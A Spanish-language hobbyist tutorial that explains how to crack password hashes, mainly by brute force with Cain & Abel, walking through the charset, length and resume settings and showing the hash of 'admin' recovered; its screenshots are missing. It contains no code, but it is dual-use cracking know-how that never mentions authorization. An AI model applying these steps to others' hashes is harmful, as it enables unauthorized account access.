las únicas formas que conozco son por fuerza bruta, por diccionario, con rainbow tables y mirando si coincide en alguna base de datos por googlehacking.

1º- Fuerza bruta
 personalmete uso 2 programas (Cain & Abel, MDCRACK)

Con el Cain se tarda un poco mas porque no consume tantos recursos como el mdcrack, sin embargo esto es una ventaja porque podrás usar en el ordenador mientras estas crackeando.

Cain & Abel:

primero nos situamos en la pestaña cracker para añadir un hash y puslamos la tecla +






















pulsamos ok y se nos añadirá a la lista, luego pinchamos sobre el con el botón derecho del ratón y se nos desplegara un menú para escoger la opcion de crackado que se quiere emplear, escogemos la de brute force
y nos sale una ventanita donde modificas los parametros que quieres que se empleen.


en charset nos da 2 opciones
podemos escoger las predefinidas o podemos crear una manualmente, por si sospechamos que el texto en plano no tiene numeros o las letras w,z,y... para ir descartando posibilidades, acaba mucho antes.

Pasword length: es la longitud que queremos que nos compruebe por fuerza bruta (todo en este tipo de cosas se hace para ir descartando posibilidades y acercarte poco a poco)

Start from: seleccionas donde quieres que empiece a crackear (se puede dejar en blanco)

Current pasword: es muy útil cuando necesitas varios días para crackear, una vez que se le de al STOP se queda todo parado y puedes anotar el current pasword en algún lado para que el día siguiente puedas enganchar desde ese instante.

Time left: el tiempo que falta. (si te pone 8.00000 días, quedan 8 días)

Keyspace: no tengo ni idea (si alguien los sabe que me mande un correo o algo)

Key rate: son las palabras por segundo que testea.

le damos a START y en 10 segundos como mucho veremos esto:


























la palabra cifrada es admin.
esto es muy facil pero a ver quien se atreve con una palabra de 19 caracteres con espacios, numeros, letras y simbolos.
solo quedan 3 cosas por hacer. 1º miras en google haber si hay suerte.




















puedes mirar en paginas de bases de datos:





















o tener un super ordenador con un core i5 a 3.200 y una tarjeta grafica de 2oo € para usar la GPU y con 8 Gbites de RAM con tecnologuia cuda o stream.O en su defecto muchos ordenadores normales a la vez estilo Kevin Mitnick¡¡¡




Este tutorial sera corregido y completado en breves.
wireshok